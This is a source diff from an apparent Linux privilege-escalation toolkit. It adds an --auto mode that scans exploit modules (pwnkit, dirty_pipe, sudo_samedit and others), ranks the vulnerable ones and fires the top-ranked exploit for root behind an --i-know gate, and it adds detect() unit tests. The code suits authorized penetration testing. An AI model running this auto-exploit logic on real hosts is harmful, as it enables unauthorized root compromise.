@@ -80,6 +77,9 @@ static void usage(const char *prog)
|
||||
" --i-know authorization gate for --exploit modes\n"
|
||||
" --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
|
||||
" --no-shell in --exploit modes, prepare but don't drop to shell\n"
|
||||
" --dry-run preview only — do the scan + pick, never call exploit/\n"
|
||||
" mitigate/cleanup. Useful with --auto to see what would\n"
|
||||
" fire before authorizing it.\n"
|
||||
" --full-chain in --exploit modes, attempt full root-pop after primitive\n"
|
||||
" (the 🟡 modules return primitive-only by default; with\n"
|
||||
" --full-chain they continue to leak → arb-write →\n"
|
||||
@@ -105,6 +105,7 @@ enum mode {
|
||||
MODE_DETECT_RULES,
|
||||
MODE_MODULE_INFO,
|
||||
MODE_AUDIT,
|
||||
MODE_AUTO,
|
||||
MODE_DUMP_OFFSETS,
|
||||
MODE_HELP,
|
||||
MODE_VERSION,
|
||||
@@ -667,9 +668,347 @@ static int cmd_detect_rules(enum detect_format fmt)
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* --auto: scan, rank by safety, run safest vulnerable exploit. */
|
||||
static int module_safety_rank(const char *n)
|
||||
{
|
||||
/* Higher = safer. Run highest-ranked vulnerable module. */
|
||||
if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */
|
||||
if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */
|
||||
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
|
||||
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
|
||||
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
|
||||
if (!strcmp(n, "pack2theroot")) return 95; /* userspace D-Bus TOCTOU; dpkg + /tmp SUID footprint */
|
||||
if (!strcmp(n, "dirty_pipe")) return 90; /* page-cache write */
|
||||
if (!strcmp(n, "dirty_cow")) return 89;
|
||||
if (!strncmp(n, "copy_fail", 9) ||
|
||||
!strncmp(n, "dirty_frag", 10)) return 88; /* verified page-cache writes */
|
||||
if (!strcmp(n, "dirtydecrypt") ||
|
||||
!strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
|
||||
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
|
||||
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
||||
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
||||
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
||||
if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */
|
||||
return 50; /* kernel primitives — middle of pack */
|
||||
}
|
||||
|
||||
/* Per-detect timeout: a probe that hangs (network blocking, deadlocked
|
||||
* fork-probe, kernel-side stall) must NOT freeze --auto. 15s is well
|
||||
* above any honest active probe (fragnesia's full XFRM setup is ~500ms,
|
||||
* dirtydecrypt's rxgk handshake ~1s) but short enough that the scan
|
||||
* still finishes within ~7-8 minutes even if every module hits the cap. */
|
||||
#define SKELETONKEY_DETECT_TIMEOUT_SECS 15
|
||||
|
||||
/* Run a module's detect() in a forked child so a SIGILL/SIGSEGV/etc.
|
||||
* in one detector cannot tear down the dispatcher. Also installs an
|
||||
* alarm(15) so a hung probe cannot stall the scan.
|
||||
*
|
||||
* The verdict travels back via the child's exit status
|
||||
* (skeletonkey_result_t values fit in 0..5). On a crash, returns
|
||||
* SKELETONKEY_TEST_ERROR; *crashed_signal is set to the terminating
|
||||
* signal (0 if exited normally), *timed_out is true if the signal
|
||||
* was SIGALRM (the detect-timeout fired).
|
||||
*
|
||||
* This matters because --auto auto-enables active probes, which can
|
||||
* exercise CPU instructions (entrybleed's prefetchnta sweep) or
|
||||
* kernel paths (XFRM ESP-in-TCP setup) that may misbehave under
|
||||
* emulation or hardened containers, or stall on a frozen socket.
|
||||
* Without isolation + timeout, one bad probe stops the whole scan
|
||||
* and the operator never sees the rest of the verdict table. */
|
||||
static skeletonkey_result_t run_detect_isolated(
|
||||
const struct skeletonkey_module *m,
|
||||
const struct skeletonkey_ctx *ctx,
|
||||
int *crashed_signal,
|
||||
bool *timed_out)
|
||||
{
|
||||
*crashed_signal = 0;
|
||||
*timed_out = false;
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) {
|
||||
perror("fork");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (pid == 0) {
|
||||
/* SIGALRM default action is termination — perfect kill-switch. */
|
||||
alarm(SKELETONKEY_DETECT_TIMEOUT_SECS);
|
||||
skeletonkey_result_t r = m->detect(ctx);
|
||||
fflush(NULL);
|
||||
_exit((int)r);
|
||||
}
|
||||
int st;
|
||||
if (waitpid(pid, &st, 0) < 0) return SKELETONKEY_TEST_ERROR;
|
||||
if (WIFEXITED(st)) return (skeletonkey_result_t)WEXITSTATUS(st);
|
||||
if (WIFSIGNALED(st)) {
|
||||
*crashed_signal = WTERMSIG(st);
|
||||
if (*crashed_signal == SIGALRM) *timed_out = true;
|
||||
}
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Run a module callback (exploit/mitigate/cleanup) in a forked child.
|
||||
* Two crash-safety properties:
|
||||
* - SIGSEGV/SIGILL/etc. in the callback is contained.
|
||||
* - --auto's "try next-safest on EXPLOIT_FAIL" fallback path actually
|
||||
* runs even if the picked exploit dies hard.
|
||||
*
|
||||
* Result communication is via a one-byte pipe with FD_CLOEXEC on the
|
||||
* write end:
|
||||
* - If the callback returns normally, the child writes the result
|
||||
* byte before _exit; the parent reads it. Trusted result code.
|
||||
* - If the callback execve()s into a target (dirty_pipe → su,
|
||||
* pack2theroot → /tmp/.suid_bash), FD_CLOEXEC closes the write
|
||||
* end as part of the exec transfer; the parent's read() gets
|
||||
* EOF. We then know the child exec'd code and report EXPLOIT_OK
|
||||
* regardless of what shell exit code the exec'd-into program
|
||||
* returns when the operator detaches.
|
||||
* - If the child died of a signal, that's a crash; report it. */
|
||||
static skeletonkey_result_t run_callback_isolated(
|
||||
const char *label,
|
||||
skeletonkey_result_t (*fn)(const struct skeletonkey_ctx *),
|
||||
const struct skeletonkey_ctx *ctx,
|
||||
int *crashed_signal,
|
||||
bool *exec_path)
|
||||
{
|
||||
(void)label;
|
||||
*crashed_signal = 0;
|
||||
*exec_path = false;
|
||||
|
||||
int pfd[2];
|
||||
if (pipe(pfd) < 0) {
|
||||
/* Plumbing failed — fall back to direct call. The crash-safety
|
||||
* property is degraded for this one invocation, but the
|
||||
* dispatcher would have crashed anyway if pipe() fails. */
|
||||
return fn(ctx);
|
||||
}
|
||||
/* FD_CLOEXEC: if child execve's, the kernel closes pfd[1] before
|
||||
* handing control to the new image, so the new image cannot
|
||||
* inadvertently write garbage and the parent observes EOF. */
|
||||
if (fcntl(pfd[1], F_SETFD, FD_CLOEXEC) < 0) {
|
||||
close(pfd[0]); close(pfd[1]);
|
||||
return fn(ctx);
|
||||
}
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) {
|
||||
close(pfd[0]); close(pfd[1]);
|
||||
perror("fork");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (pid == 0) {
|
||||
close(pfd[0]);
|
||||
skeletonkey_result_t r = fn(ctx);
|
||||
/* If we get here, fn didn't exec. Report the code. */
|
||||
unsigned char code = (unsigned char)r;
|
||||
ssize_t w = write(pfd[1], &code, 1);
|
||||
(void)w;
|
||||
close(pfd[1]);
|
||||
fflush(NULL);
|
||||
_exit((int)r);
|
||||
}
|
||||
close(pfd[1]);
|
||||
unsigned char code = 0;
|
||||
ssize_t n = read(pfd[0], &code, 1);
|
||||
close(pfd[0]);
|
||||
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
|
||||
if (n == 1)
|
||||
return (skeletonkey_result_t)code;
|
||||
|
||||
/* No byte read → child either exec'd (FD_CLOEXEC closed pfd[1])
|
||||
* or crashed before reaching the write. Distinguish via wait
|
||||
* status. */
|
||||
if (WIFSIGNALED(st)) {
|
||||
*crashed_signal = WTERMSIG(st);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
/* Normal exit without writing → must have exec'd. We achieved
|
||||
* code execution; treat as EXPLOIT_OK regardless of the shell's
|
||||
* subsequent exit code. */
|
||||
*exec_path = true;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* Host fingerprint parsing (ID / VERSION_ID / kernel / arch) lives in
|
||||
* core/host.c; cmd_auto consults ctx->host via the shared banner. */
|
||||
|
||||
static int cmd_auto(struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized && !ctx->dry_run) {
|
||||
fprintf(stderr,
|
||||
"[-] --auto requires --i-know (or --dry-run for a preview that never fires).\n"
|
||||
" About to attempt root via the safest available LPE on this host.\n"
|
||||
" Authorized testing only. See docs/ETHICS.md.\n");
|
||||
return 1;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] auto: already running as root; nothing to do.\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Active probes give --auto a more accurate verdict on modules that
|
||||
* implement them (dirty_pipe, the copy_fail family, dirtydecrypt,
|
||||
* fragnesia, overlayfs). Each per-module probe is documented safe:
|
||||
* /tmp sentinel files + fork-isolated namespace mounts. No real
|
||||
* system state is corrupted by the scan. Without this, --auto can
|
||||
* miss vulnerabilities that a version-only check would flag as
|
||||
* indeterminate (TEST_ERROR), or accept distro silent backports
|
||||
* that the version check is fooled by. */
|
||||
bool prev_active = ctx->active_probe;
|
||||
ctx->active_probe = true;
|
||||
|
||||
/* Two-line host fingerprint banner (identity + capability gates). */
|
||||
skeletonkey_host_print_banner(ctx->host, ctx->json);
|
||||
fprintf(stderr, "[*] auto: active probes enabled — brief /tmp file "
|
||||
"touches and fork-isolated namespace probes\n");
|
||||
fprintf(stderr, "[*] auto: scanning %zu modules for vulnerabilities...\n",
|
||||
skeletonkey_module_count());
|
||||
|
||||
struct cand { const struct skeletonkey_module *m; int rank; } cands[64];
|
||||
int nc = 0;
|
||||
int n_vuln = 0, n_ok = 0, n_precond = 0, n_test = 0;
|
||||
int n_crash = 0, n_timeout = 0, n_other = 0;
|
||||
size_t n = skeletonkey_module_count();
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct skeletonkey_module *m = skeletonkey_module_at(i);
|
||||
if (!m->detect || !m->exploit) continue;
|
||||
int sig = 0;
|
||||
bool timed_out = false;
|
||||
skeletonkey_result_t r = run_detect_isolated(m, ctx, &sig, &timed_out);
|
||||
if (sig != 0) {
|
||||
const char *why = timed_out ? "timed out" : "crashed";
|
||||
fprintf(stderr, "[?] auto: %-22s detect() %s "
|
||||
"(signal %d) — continuing\n",
|
||||
m->name, why, sig);
|
||||
if (timed_out) n_timeout++;
|
||||
else n_crash++;
|
||||
continue;
|
||||
}
|
||||
switch (r) {
|
||||
case SKELETONKEY_VULNERABLE:
|
||||
if (nc < 64) {
|
||||
cands[nc].m = m;
|
||||
cands[nc].rank = module_safety_rank(m->name);
|
||||
fprintf(stderr, "[+] auto: %-22s VULNERABLE (safety rank %d)\n",
|
||||
m->name, cands[nc].rank);
|
||||
nc++;
|
||||
} else {
|
||||
fprintf(stderr, "[+] auto: %-22s VULNERABLE (overflow; not "
|
||||
"considered for pick)\n", m->name);
|
||||
}
|
||||
n_vuln++;
|
||||
break;
|
||||
case SKELETONKEY_OK:
|
||||
fprintf(stderr, "[ ] auto: %-22s patched or not applicable\n",
|
||||
m->name);
|
||||
n_ok++;
|
||||
break;
|
||||
case SKELETONKEY_PRECOND_FAIL:
|
||||
fprintf(stderr, "[ ] auto: %-22s precondition not met\n", m->name);
|
||||
n_precond++;
|
||||
break;
|
||||
case SKELETONKEY_TEST_ERROR:
|
||||
fprintf(stderr, "[?] auto: %-22s indeterminate "
|
||||
"(detector could not decide)\n", m->name);
|
||||
n_test++;
|
||||
break;
|
||||
default:
|
||||
fprintf(stderr, "[?] auto: %-22s %s\n", m->name, result_str(r));
|
||||
n_other++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* Restore caller's --active setting before we call exploit(). The
|
||||
* exploit() of each module may use ctx->active_probe with different
|
||||
* semantics than detect(); we owned this flag only for the scan. */
|
||||
ctx->active_probe = prev_active;
|
||||
|
||||
fprintf(stderr, "\n[*] auto: scan summary — %d vulnerable, %d patched/"
|
||||
"n.a., %d precondition-fail, %d indeterminate%s\n",
|
||||
n_vuln, n_ok, n_precond, n_test,
|
||||
n_other ? " (+other)" : "");
|
||||
if (n_crash > 0)
|
||||
fprintf(stderr, "[!] auto: %d module(s) crashed during detect "
|
||||
"— dispatcher recovered via fork isolation\n", n_crash);
|
||||
if (n_timeout > 0)
|
||||
fprintf(stderr, "[!] auto: %d module(s) timed out (>%ds) during "
|
||||
"detect — dispatcher recovered\n",
|
||||
n_timeout, SKELETONKEY_DETECT_TIMEOUT_SECS);
|
||||
|
||||
if (nc == 0) {
|
||||
if (n_test > 0) {
|
||||
fprintf(stderr, "[i] auto: %d module(s) returned indeterminate. "
|
||||
"Try `skeletonkey --exploit <name> --i-know` if "
|
||||
"you know the host is vulnerable.\n", n_test);
|
||||
}
|
||||
fprintf(stderr, "[-] auto: no confirmed-vulnerable modules. Host "
|
||||
"appears patched.\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Sort descending by rank (safest first). */
|
||||
for (int i = 0; i < nc; i++)
|
||||
for (int j = i + 1; j < nc; j++)
|
||||
if (cands[j].rank > cands[i].rank) {
|
||||
struct cand t = cands[i]; cands[i] = cands[j]; cands[j] = t;
|
||||
}
|
||||
|
||||
const struct skeletonkey_module *pick = cands[0].m;
|
||||
|
||||
if (ctx->dry_run) {
|
||||
fprintf(stderr,
|
||||
"\n[*] auto: %d vulnerable module(s) found. Safest is '%s' (rank %d).\n"
|
||||
"[*] auto: --dry-run: would launch `--exploit %s --i-know`; not firing.\n",
|
||||
nc, pick->name, cands[0].rank, pick->name);
|
||||
if (nc > 1) {
|
||||
fprintf(stderr, "[i] auto: other candidates (ranked):\n");
|
||||
for (int i = 1; i < nc; i++)
|
||||
fprintf(stderr, " %-22s safety rank %d\n",
|
||||
cands[i].m->name, cands[i].rank);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
fprintf(stderr,
|
||||
"\n[*] auto: %d vulnerable module(s) found. Safest is '%s' (rank %d).\n"
|
||||
"[*] auto: launching --exploit %s...\n\n",
|
||||
nc, pick->name, cands[0].rank, pick->name);
|
||||
|
||||
int xsig = 0;
|
||||
bool exec_path = false;
|
||||
skeletonkey_result_t r = run_callback_isolated(
|
||||
"exploit", pick->exploit, ctx, &xsig, &exec_path);
|
||||
if (xsig != 0) {
|
||||
fprintf(stderr, "\n[!] auto: %s exploit crashed (signal %d) — "
|
||||
"dispatcher recovered via fork isolation\n",
|
||||
pick->name, xsig);
|
||||
} else if (exec_path) {
|
||||
fprintf(stderr, "\n[*] auto: %s exploit transferred to spawned "
|
||||
"target (shell exited cleanly) — EXPLOIT_OK\n",
|
||||
pick->name);
|
||||
} else {
|
||||
fprintf(stderr, "\n[*] auto: %s exploit returned %s\n",
|
||||
pick->name, result_str(r));
|
||||
}
|
||||
if (r == SKELETONKEY_EXPLOIT_OK) return 5;
|
||||
if (r == SKELETONKEY_EXPLOIT_FAIL && nc > 1) {
|
||||
fprintf(stderr, "[i] auto: %d more candidate(s) available — try one manually:\n", nc - 1);
|
||||
for (int i = 1; i < nc; i++)
|
||||
fprintf(stderr, " skeletonkey --exploit %s --i-know\n", cands[i].m->name);
|
||||
}
|
||||
return (r == SKELETONKEY_EXPLOIT_FAIL) ? 3 : (int)r;
|
||||
}
|
||||
|
||||
static int cmd_one(const struct skeletonkey_module *m, const char *op,
|
||||
const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (ctx->dry_run) {
|
||||
fprintf(stderr, "[*] %s: --dry-run: would run --%s; not firing.\n",
|
||||
m->name, op);
|
||||
return 0;
|
||||
}
|
||||
skeletonkey_result_t (*fn)(const struct skeletonkey_ctx *) = NULL;
|
||||
if (strcmp(op, "exploit") == 0) fn = m->exploit;
|
||||
else if (strcmp(op, "mitigate") == 0) fn = m->mitigate;
|
||||
@@ -679,8 +1018,18 @@ static int cmd_one(const struct skeletonkey_module *m, const char *op,
|
||||
fprintf(stderr, "[-] module '%s' has no %s operation\n", m->name, op);
|
||||
return 1;
|
||||
}
|
||||
skeletonkey_result_t r = fn(ctx);
|
||||
fprintf(stderr, "[*] %s --%s result: %s\n", m->name, op, result_str(r));
|
||||
int sig = 0;
|
||||
bool exec_path = false;
|
||||
skeletonkey_result_t r = run_callback_isolated(op, fn, ctx, &sig, &exec_path);
|
||||
if (sig != 0)
|
||||
fprintf(stderr, "[!] %s --%s crashed (signal %d) — recovered\n",
|
||||
m->name, op, sig);
|
||||
else if (exec_path)
|
||||
fprintf(stderr, "[*] %s --%s transferred to spawned target — EXPLOIT_OK\n",
|
||||
m->name, op);
|
||||
else
|
||||
fprintf(stderr, "[*] %s --%s result: %s\n",
|
||||
m->name, op, result_str(r));
|
||||
return (int)r;
|
||||
}
|
||||
|
||||
@@ -708,12 +1057,25 @@ int main(int argc, char **argv)
|
||||
skeletonkey_register_af_unix_gc();
|
||||
skeletonkey_register_nft_fwd_dup();
|
||||
skeletonkey_register_nft_payload();
|
||||
skeletonkey_register_sudo_samedit();
|
||||
skeletonkey_register_sequoia();
|
||||
skeletonkey_register_sudoedit_editor();
|
||||
skeletonkey_register_vmwgfx();
|
||||
skeletonkey_register_dirtydecrypt();
|
||||
skeletonkey_register_fragnesia();
|
||||
skeletonkey_register_pack2theroot();
|
||||
|
||||
enum mode mode = MODE_SCAN;
|
||||
struct skeletonkey_ctx ctx = {0};
|
||||
const char *target = NULL;
|
||||
int i_know = 0;
|
||||
|
||||
/* Probe the host once, up front. ctx.host is a stable pointer
|
||||
* shared by every module callback; populating now means each
|
||||
* detect() sees the same fingerprint and no module has to re-do
|
||||
* uname/getpwuid/sysctl reads. See core/host.{h,c}. */
|
||||
ctx.host = skeletonkey_host_get();
|
||||
|
||||
enum detect_format dr_fmt = FMT_AUDITD;
|
||||
static struct option longopts[] = {
|
||||
{"scan", no_argument, 0, 'S'},
|
||||
@@ -725,6 +1087,7 @@ int main(int argc, char **argv)
|
||||
{"module-info", required_argument, 0, 'I'},
|
||||
{"audit", no_argument, 0, 'A'},
|
||||
{"dump-offsets", no_argument, 0, 8 },
|
||||
{"auto", no_argument, 0, 9 },
|
||||
{"format", required_argument, 0, 6 },
|
||||
{"i-know", no_argument, 0, 1 },
|
||||
{"active", no_argument, 0, 2 },
|
||||
@@ -732,6 +1095,7 @@ int main(int argc, char **argv)
|
||||
{"json", no_argument, 0, 4 },
|
||||
{"no-color", no_argument, 0, 5 },
|
||||
{"full-chain", no_argument, 0, 7 },
|
||||
{"dry-run", no_argument, 0, 10 },
|
||||
{"version", no_argument, 0, 'V'},
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{0, 0, 0, 0}
|
||||
@@ -755,6 +1119,8 @@ int main(int argc, char **argv)
|
||||
case 5 : ctx.no_color = true; break;
|
||||
case 7 : ctx.full_chain = true; break;
|
||||
case 8 : mode = MODE_DUMP_OFFSETS; break;
|
||||
case 9 : mode = MODE_AUTO; ctx.authorized = i_know ? true : ctx.authorized; break;
|
||||
case 10 : ctx.dry_run = true; break;
|
||||
case 6 :
|
||||
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
|
||||
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
|
||||
@@ -781,6 +1147,7 @@ int main(int argc, char **argv)
|
||||
if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
|
||||
if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
|
||||
if (mode == MODE_AUDIT) return cmd_audit(&ctx);
|
||||
if (mode == MODE_AUTO) return cmd_auto(&ctx);
|
||||
if (mode == MODE_DUMP_OFFSETS) return cmd_dump_offsets(&ctx);
|
||||
|
||||
/* --exploit / --mitigate / --cleanup all take a target */
|
||||
|
||||
@@ -0,0 +1,502 @@
|
||||
/*
|
||||
* tests/test_detect.c — detect() unit tests
|
||||
*
|
||||
* Each test builds a synthetic struct skeletonkey_host fingerprint
|
||||
* (vulnerable / patched / specific-gate-closed) and asserts each
|
||||
* module's detect() returns the expected verdict. Catches regressions
|
||||
* in the host-fingerprint-consuming logic across the corpus.
|
||||
*
|
||||
* Coverage today is the four modules that already consume ctx->host:
|
||||
* - dirtydecrypt (CVE-2026-31635)
|
||||
* - fragnesia (CVE-2026-46300)
|
||||
* - pack2theroot (CVE-2026-41651)
|
||||
* - overlayfs (CVE-2021-3493)
|
||||
* Coverage grows automatically as more modules migrate to ctx->host
|
||||
* (see ROADMAP "core/host" follow-up).
|
||||
*
|
||||
* Why only Linux: every module's real detect() lives inside
|
||||
* `#ifdef __linux__`; on non-Linux the stubs unconditionally return
|
||||
* PRECOND_FAIL so the tests are tautologies. The harness compiles
|
||||
* cross-platform but skips the assertions on non-Linux to keep the
|
||||
* macOS dev build green while still preventing bit-rot of the test
|
||||
* infrastructure.
|
||||
*/
|
||||
|
||||
#include "../core/module.h"
|
||||
#include "../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
extern const struct skeletonkey_module dirtydecrypt_module;
|
||||
extern const struct skeletonkey_module fragnesia_module;
|
||||
extern const struct skeletonkey_module pack2theroot_module;
|
||||
extern const struct skeletonkey_module overlayfs_module;
|
||||
extern const struct skeletonkey_module dirty_pipe_module;
|
||||
extern const struct skeletonkey_module dirty_cow_module;
|
||||
extern const struct skeletonkey_module ptrace_traceme_module;
|
||||
extern const struct skeletonkey_module cgroup_release_agent_module;
|
||||
extern const struct skeletonkey_module nf_tables_module;
|
||||
extern const struct skeletonkey_module fuse_legacy_module;
|
||||
extern const struct skeletonkey_module cls_route4_module;
|
||||
extern const struct skeletonkey_module overlayfs_setuid_module;
|
||||
extern const struct skeletonkey_module af_packet_module;
|
||||
extern const struct skeletonkey_module af_packet2_module;
|
||||
extern const struct skeletonkey_module af_unix_gc_module;
|
||||
extern const struct skeletonkey_module netfilter_xtcompat_module;
|
||||
extern const struct skeletonkey_module nft_set_uaf_module;
|
||||
extern const struct skeletonkey_module nft_fwd_dup_module;
|
||||
extern const struct skeletonkey_module nft_payload_module;
|
||||
extern const struct skeletonkey_module stackrot_module;
|
||||
extern const struct skeletonkey_module sequoia_module;
|
||||
extern const struct skeletonkey_module vmwgfx_module;
|
||||
extern const struct skeletonkey_module copy_fail_gcm_module;
|
||||
extern const struct skeletonkey_module dirty_frag_esp_module;
|
||||
extern const struct skeletonkey_module dirty_frag_esp6_module;
|
||||
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
|
||||
extern const struct skeletonkey_module sudo_samedit_module;
|
||||
extern const struct skeletonkey_module sudoedit_editor_module;
|
||||
extern const struct skeletonkey_module pwnkit_module;
|
||||
|
||||
static int g_pass = 0;
|
||||
static int g_fail = 0;
|
||||
|
||||
static const char *result_str(skeletonkey_result_t r)
|
||||
{
|
||||
switch (r) {
|
||||
case SKELETONKEY_OK: return "OK";
|
||||
case SKELETONKEY_TEST_ERROR: return "TEST_ERROR";
|
||||
case SKELETONKEY_VULNERABLE: return "VULNERABLE";
|
||||
case SKELETONKEY_EXPLOIT_FAIL: return "EXPLOIT_FAIL";
|
||||
case SKELETONKEY_PRECOND_FAIL: return "PRECOND_FAIL";
|
||||
case SKELETONKEY_EXPLOIT_OK: return "EXPLOIT_OK";
|
||||
}
|
||||
return "???";
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* Suppress per-module banner chatter so the test output stays tidy.
|
||||
* Modules respect ctx->json to mean "structured output mode; no banners"
|
||||
* — see each module's `if (!ctx->json) fprintf(...)` pattern. */
|
||||
static void run_one(const char *test_name,
|
||||
const struct skeletonkey_module *m,
|
||||
const struct skeletonkey_host *h,
|
||||
skeletonkey_result_t want)
|
||||
{
|
||||
struct skeletonkey_ctx ctx = {0};
|
||||
ctx.host = h;
|
||||
ctx.json = true; /* silence per-module log lines */
|
||||
|
||||
skeletonkey_result_t got = m->detect(&ctx);
|
||||
if (got == want) {
|
||||
printf("[+] PASS %-40s %s → %s\n",
|
||||
test_name, m->name, result_str(got));
|
||||
g_pass++;
|
||||
} else {
|
||||
fprintf(stderr,
|
||||
"[-] FAIL %-40s %s: want %s, got %s\n",
|
||||
test_name, m->name,
|
||||
result_str(want), result_str(got));
|
||||
g_fail++;
|
||||
}
|
||||
}
|
||||
|
||||
/* ── fingerprints ────────────────────────────────────────────────── */
|
||||
|
||||
/* Linux 6.12.76 (Debian 13), no userns, no D-Bus, not Ubuntu — a
|
||||
* deliberately neutered host that lets the host-fingerprint-only
|
||||
* gates fire without falling into deeper module logic. */
|
||||
static const struct skeletonkey_host h_pre7_no_userns_no_dbus = {
|
||||
.kernel = { .major = 6, .minor = 12, .patch = 76,
|
||||
.release = "6.12.76-test" },
|
||||
.arch = "x86_64",
|
||||
.nodename = "test",
|
||||
.distro_id = "debian",
|
||||
.distro_version_id = "13",
|
||||
.distro_pretty = "Debian GNU/Linux 13",
|
||||
.is_linux = true,
|
||||
.is_debian_family = true,
|
||||
.unprivileged_userns_allowed = false,
|
||||
.has_dbus_system = false,
|
||||
.has_systemd = true,
|
||||
};
|
||||
|
||||
/* Fedora 43, no Debian family, userns allowed. */
|
||||
static const struct skeletonkey_host h_fedora_no_debian = {
|
||||
.kernel = { .major = 6, .minor = 14, .patch = 0,
|
||||
.release = "6.14.0-fedora" },
|
||||
.arch = "x86_64",
|
||||
.nodename = "test",
|
||||
.distro_id = "fedora",
|
||||
.distro_version_id = "43",
|
||||
.distro_pretty = "Fedora 43",
|
||||
.is_linux = true,
|
||||
.is_rpm_family = true,
|
||||
.is_debian_family = false,
|
||||
.unprivileged_userns_allowed = true,
|
||||
.has_dbus_system = true,
|
||||
.has_systemd = true,
|
||||
};
|
||||
|
||||
/* Modern fingerprint with a known-vulnerable sudo (1.8.31 sits in
|
||||
* both the samedit [1.8.2, 1.9.5p1] and sudoedit_editor
|
||||
* [1.8.0, 1.9.12p2) vulnerable ranges) AND a known-vulnerable polkit
|
||||
* (0.105 is pre-0.121 fix). Used to assert the sudo/pwnkit modules
|
||||
* accept the host-fingerprint version strings and reach the
|
||||
* VULNERABLE-by-version path. */
|
||||
static const struct skeletonkey_host h_vuln_sudo = {
|
||||
.kernel = { .major = 5, .minor = 15, .patch = 0,
|
||||
.release = "5.15.0-vulnsudo" },
|
||||
.arch = "x86_64",
|
||||
.nodename = "test",
|
||||
.distro_id = "debian",
|
||||
.is_linux = true,
|
||||
.is_debian_family = true,
|
||||
.unprivileged_userns_allowed = true,
|
||||
.sudo_version = "1.8.31",
|
||||
.polkit_version = "0.105",
|
||||
};
|
||||
|
||||
/* Modern fingerprint with a fixed sudo (1.9.13p1 is above both
|
||||
* sudo_samedit and sudoedit_editor vulnerable ranges) AND a fixed
|
||||
* polkit (0.121 is the upstream pwnkit fix release). */
|
||||
static const struct skeletonkey_host h_fixed_sudo = {
|
||||
.kernel = { .major = 6, .minor = 12, .patch = 0,
|
||||
.release = "6.12.0-fixedsudo" },
|
||||
.arch = "x86_64",
|
||||
.nodename = "test",
|
||||
.distro_id = "debian",
|
||||
.is_linux = true,
|
||||
.is_debian_family = true,
|
||||
.unprivileged_userns_allowed = true,
|
||||
.sudo_version = "1.9.13p1",
|
||||
.polkit_version = "0.121",
|
||||
};
|
||||
|
||||
/* Ubuntu 24.04, userns allowed, D-Bus running, Debian family
|
||||
* (because Ubuntu has /etc/debian_version). Used as the "fragnesia
|
||||
* preconditions OK" baseline — fragnesia should NOT short-circuit
|
||||
* on userns/userspace gates here. */
|
||||
static const struct skeletonkey_host h_ubuntu_24_userns_ok = {
|
||||
.kernel = { .major = 6, .minor = 8, .patch = 0,
|
||||
.release = "6.8.0-ubuntu" },
|
||||
.arch = "x86_64",
|
||||
.nodename = "test",
|
||||
.distro_id = "ubuntu",
|
||||
.distro_version_id = "24.04",
|
||||
.distro_pretty = "Ubuntu 24.04 LTS",
|
||||
.is_linux = true,
|
||||
.is_debian_family = true,
|
||||
.unprivileged_userns_allowed = true,
|
||||
.has_dbus_system = true,
|
||||
.has_systemd = true,
|
||||
};
|
||||
|
||||
/* Ancient kernel that predates many bugs (Linux 4.4 LTS). Useful for
|
||||
* the "kernel predates the bug → OK" path in dirty_pipe (bug
|
||||
* introduced 5.8). */
|
||||
static const struct skeletonkey_host h_kernel_4_4 = {
|
||||
.kernel = { .major = 4, .minor = 4, .patch = 0,
|
||||
.release = "4.4.0-ancient" },
|
||||
.arch = "x86_64",
|
||||
.nodename = "test",
|
||||
.distro_id = "debian",
|
||||
.is_linux = true,
|
||||
.is_debian_family = true,
|
||||
.unprivileged_userns_allowed = true,
|
||||
};
|
||||
|
||||
/* Recent kernel (Linux 6.12 LTS). Above virtually every backport
|
||||
* threshold in the corpus — modules should report OK via the
|
||||
* "patched by mainline inheritance" branch of kernel_range_is_patched. */
|
||||
static const struct skeletonkey_host h_kernel_6_12 = {
|
||||
.kernel = { .major = 6, .minor = 12, .patch = 0,
|
||||
.release = "6.12.0-recent" },
|
||||
.arch = "x86_64",
|
||||
.nodename = "test",
|
||||
.distro_id = "debian",
|
||||
.is_linux = true,
|
||||
.is_debian_family = true,
|
||||
.unprivileged_userns_allowed = true,
|
||||
};
|
||||
|
||||
/* Vulnerable-era kernel (5.14.0) with userns ENABLED. The mirror
|
||||
* of h_kernel_5_14_no_userns — for testing the VULNERABLE-by-version
|
||||
